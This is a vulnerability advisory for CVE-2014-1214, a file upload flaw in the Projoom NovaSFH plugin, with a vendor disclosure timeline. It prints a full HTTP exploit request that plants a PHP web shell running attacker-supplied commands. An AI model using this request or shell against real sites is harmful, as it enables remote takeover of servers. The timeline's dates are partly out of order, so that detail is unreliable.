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Vulnerability title: Remote Code Execution In Projoom NovaSFH Plugin

CVE: CVE-2014-1214
Vendor: Projoom
Product: NovaSFH Plugin
Affected Version: 3.0.2 and earlier
Fixed Version: 3.0.3
Reported by: Jerzy Kramarz


The PHP executable which is responsible for handling file upload functionality allows arbitrary files to be uploaded to any directory specified by the attackers as the file upload function does not does not verify file type or origin when processing the request.

The following request will trigger the vulnerability and upload simple backdoor (note that the ‘dest’ parameter is the base64 encoded destination folder):

POST /administrator/components/com_novasfh/views/upload.php?action=upload&dest=L3Zhci93d3cvaHRtbA== HTTP/1.1
Host: <IP>
Proxy-Connection: keep-alive
Content-Length: 513
Origin: <originl>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: multipart/form-data; boundary=----------ae0cH2Ij5ei4ei4Ef1Ij5Ij5ae0cH2
Accept: */*
DNT: 1
Referer: http://<host>/administrator/index.php?option=com_novasfh&c=uploader
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8

Content-Disposition: form-data; name="Filename" 

Content-Disposition: form-data; name="Filedata"; filename="php_backdoor3.php" 
Content-Type: application/octet-stream

<?php include($_GET['file']); system($_GET['cmd']); echo "param: file & cmd"; ?>

Content-Disposition: form-data; name="Upload" 

Submit Query


Complete loss of confidentiality and integrity of the affected system.


Exploit code is not required.

Vendor status:

24/10/2013 Advisory created
11/11/2013 Vendor contacted
11/11/2013 Vendor working on a fix
13/12/2013 Fix released
19/11/2013 Fix confirmed
14/01/2014 CVE obtained
05/02/2014 Published

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